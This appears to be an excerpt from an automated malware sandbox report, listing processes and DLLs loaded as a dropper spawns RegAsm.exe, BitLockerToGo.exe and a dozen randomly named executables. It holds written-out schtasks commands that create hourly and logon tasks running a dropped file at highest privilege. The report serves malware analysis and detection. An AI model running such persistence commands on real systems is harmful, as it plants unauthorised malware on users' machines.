Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 8032 -ip 8032
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Process created: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp "C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp" /SL5="$20496,3169907,54272,C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 8024 -ip 8024
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8032 -s 852
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8024 -s 824
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Process created: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe "C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe"
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process created: C:\Users\user\AppData\Local\NewStar\newstar.exe "C:\Users\user\AppData\Local\NewStar\newstar.exe" -i
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: unknown	Process created: C:\ProgramData\jewkkwnf\jewkkwnf.exe C:\ProgramData\jewkkwnf\jewkkwnf.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Process created: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe "C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Process created: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp "C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp" /SL5="$20496,3169907,54272,C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 8032 -ip 8032
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 8024 -ip 8024
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8032 -s 852
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8024 -s 824
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Process created: C:\Users\user\AppData\Local\NewStar\newstar.exe "C:\Users\user\AppData\Local\NewStar\newstar.exe" -i
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf LG" /sc ONLOGON /rl HIGHEST

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
